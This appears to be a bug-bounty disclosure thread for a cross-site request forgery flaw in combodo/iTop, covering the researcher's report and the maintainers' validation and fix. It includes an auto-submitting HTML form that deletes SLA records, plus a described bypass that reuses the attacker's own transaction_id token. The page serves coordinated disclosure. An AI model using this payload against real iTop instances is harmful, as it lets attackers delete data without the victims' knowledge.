Cross-Site Request Forgery (CSRF) in combodo/itop

Valid

Reported on

Aug 29th 2021


✍️ Description

Attacker able to delete Standard SLA with CSRF attack.

It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.

In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can perform attack on unprotected endpoint, this means only with visiting a site a unwanted action will be perform without that user aware from that.

Or users with low level privilege can send a link to other users and admins with higher privilege and then their malicious request will be executed without that victim users and admins be aware about that.

🕵️‍♂️ Proof of Concept

1.First of all admin or user with right privileges already should be logged in Firefox or Safari.

2.Open the PoC.html (it is auto-submit).

3.Here Standard SLA will be deleted after the PoC.html file opened.

// PoC.html

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/web/pages/UI.php?operation=delete&class=SLA&id=1&c[menu]=SLA" method="POST">
<input type="hidden" name="transaction&#95;id" value="admE469&#46;tmp" />
<input type="hidden" name="operation" value="bulk&#95;delete&#95;confirmed" />
<input type="hidden" name="filter" value="&#37;5B&#37;22SELECT&#43;&#37;60SLA&#37;60&#43;FROM&#43;SLA&#43;AS&#43;&#37;60SLA&#37;60&#43;WHERE&#43;&#37;28&#37;60SLA&#37;60&#46;&#37;60id&#37;60&#43;IN&#43;&#37;28&#37;271&#37;27&#37;29&#37;29&#37;22&#37;2C&#37;5B&#37;5D&#37;2C&#37;5B&#37;5D&#37;5D" />
<input type="hidden" name="class" value="SLA" />
<input type="hidden" name="selectObject&#91;&#93;" value="1" />
<input type="hidden" name="c&#91;menu&#93;" value="SLA" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

This PoC can perform attack without that users noticed and Also PoC can send multiple request at same time that means attacker can Bruteforce all possible actions ( with using multiple Iframe )

💥 Impact

This vulnerability is capable of make high damage on availability and integrity of system.

Fix

You should set a CSRF token for each form. 📍 Location index.php#L1

We have contacted a member of the combodo/itop team and are waiting to hear back 9 months ago
Z-Old
9 months ago

Admin


Please see response from maintainer:

We are not able to reproduce this vulnerability with our latest version in Git.

Could you check or describe exactly which iTop version was used.

Regards

amammad modified the report
9 months ago
amammad
9 months ago

Researcher


@admin

I apologize to you dear maintainer I forgot to say that this attack only work on Firefox or Safari.

The report corrected now.

Best regards.

Z-Old
9 months ago

Admin


And which iTop version was it?

amammad
9 months ago

Researcher


@admin sorry this version

iTop-2.7.5-1-7770

Z-Old
9 months ago

Admin


Thanks amammad, I've replied to the maintainer.

Z-Old
9 months ago

Admin


See maintainer response:

I’m still not able to reproduce with the following version

iTop version 2.7.5-1-7770 MariaDB 10.4.19 PHP 7.0.33 Apache 2.4.25 Debian 9.13 Firefox 91.0.2(64 bits)

In the log I can see

UI.php 'bulk_delete_confirmed' : invalid transaction_id ! data: user

We need the detailled configuration of the researcher to reproduce and may be a video to proove this vulnerability.

amammad
9 months ago

Researcher


I'm so sorry about my mistake, I figure out that transaction_id is CSRF token but with a very short length that cause to I think there wasn't any CSRF protection.

I find out a method for bypass transaction_id that act as a CSRF token.

  1. First a user ( here attacker ) go to own account and copy own transaction_id and should not use it anywhere.

user's transaction_id are like following : tes3A79.tmp

2.attacker make put the transaction_id to own payload and send it to admin( also these procedure can be done automatically)

I can sure you that I test it multiple time and I apologize to you again.

My payload was correct for me because transaction_id in my server is valid and I miss it to check.

Pierre Goiffon validated this vulnerability 7 months ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
Pierre Goiffon
7 months ago

Maintainer


Hello,

The vulnerability is caused by a flaw in the privUITransactionFile file (application/transaction.class.inc.php)

A workaround is to use the other implementation based on PHP session : \privUITransactionSession. To do this, set in the iTop configuration :

'transaction_storage' => 'Session',

But be warned that this is causing issues when for example submiting a form whil the session was ended due to inactivity timeout. Also, we found issues when using memcached as the php session implementation.

A fix is under development.

amammad
7 months ago

Researcher


Please validate these reports that related to other endpoints :

https://huntr.dev/bounties/ddadbc04-5975-4449-9b91-26ef2da010bb/ https://huntr.dev/bounties/d1e51e1f-8533-4030-a372-0b7969e91f37/ https://huntr.dev/bounties/cd9dd8b3-a7ea-4f67-b61a-bd4f4162e6c5/ https://huntr.dev/bounties/7bbb603b-188a-41d3-a630-9e9f918b1df6/

Pierre Goiffon
7 months ago

Maintainer


Fix was submited to the support/2.6 branch (7757f1f2) and merged on support/2.7 and develop.

Pierre Goiffon
7 months ago

Maintainer


Please validate these reports that related to other endpoints :

I'll have a look

amammad
7 months ago

Researcher


Thanks Pierre

Pierre Goiffon
7 months ago

Maintainer


Side note : not confirming the fix for now. We won't set this advisory public before 2 monthes after next release shipping (2.7.6 should be out in december)

Pierre Goiffon
7 months ago

Maintainer


@amammad seems to me all 4 reports are duplicate of this one ? The vulnerability is about transaction_id (CSRF tokens) not been locked by user when using the File implementation. Can be exploited for any operations in iTop of course, as they are all protected by this token.

amammad
7 months ago

Researcher


really I don't know and you know better that me

If you validate other reports Huntr will publish 5 CVE instead of only 1 CVE and Also I get 5x bounty instead of 1x

It is on your choice

Pierre Goiffon
7 months ago

Maintainer


Hello, Ok. I'm on holiday right now, will close other reports next week. In the meantime, feedback on the fix would be greatly appreciated O:)

Pierre Goiffon
7 months ago

Maintainer


Hello, We will create a GitHub advisory + CVE for this vulnerability. We would like to credit you @amammad ! Should we use your pseudo or something else ? (real name, company, ...)

amammad
7 months ago

Researcher


Thanks Pierre, the @amammad is enough for me.

Best regrads.

Pierre Goiffon
7 months ago

Maintainer


Ok, well noted !

combodo/itop maintainer
5 months ago

Maintainer


Corresponding GitHub advisory : https://github.com/Combodo/iTop/security/advisories/GHSA-33pr-5776-9jqf

Fix is included in iTop 2.7.6 that was published a few minutes ago.

We will publish the vulnerabililty in 3 months.

Pierre Goiffon confirmed that a fix has been merged on 7757f1 2 months ago
The fix bounty has been dropped
Pierre Goiffon
2 months ago

Maintainer


Hi, Combodo usually send goodies for its contributors, as a way to thank them. @amammad can you send your postal address to pierre.goiffon @ combodo.com (remove spaces around the @)?

to join this conversation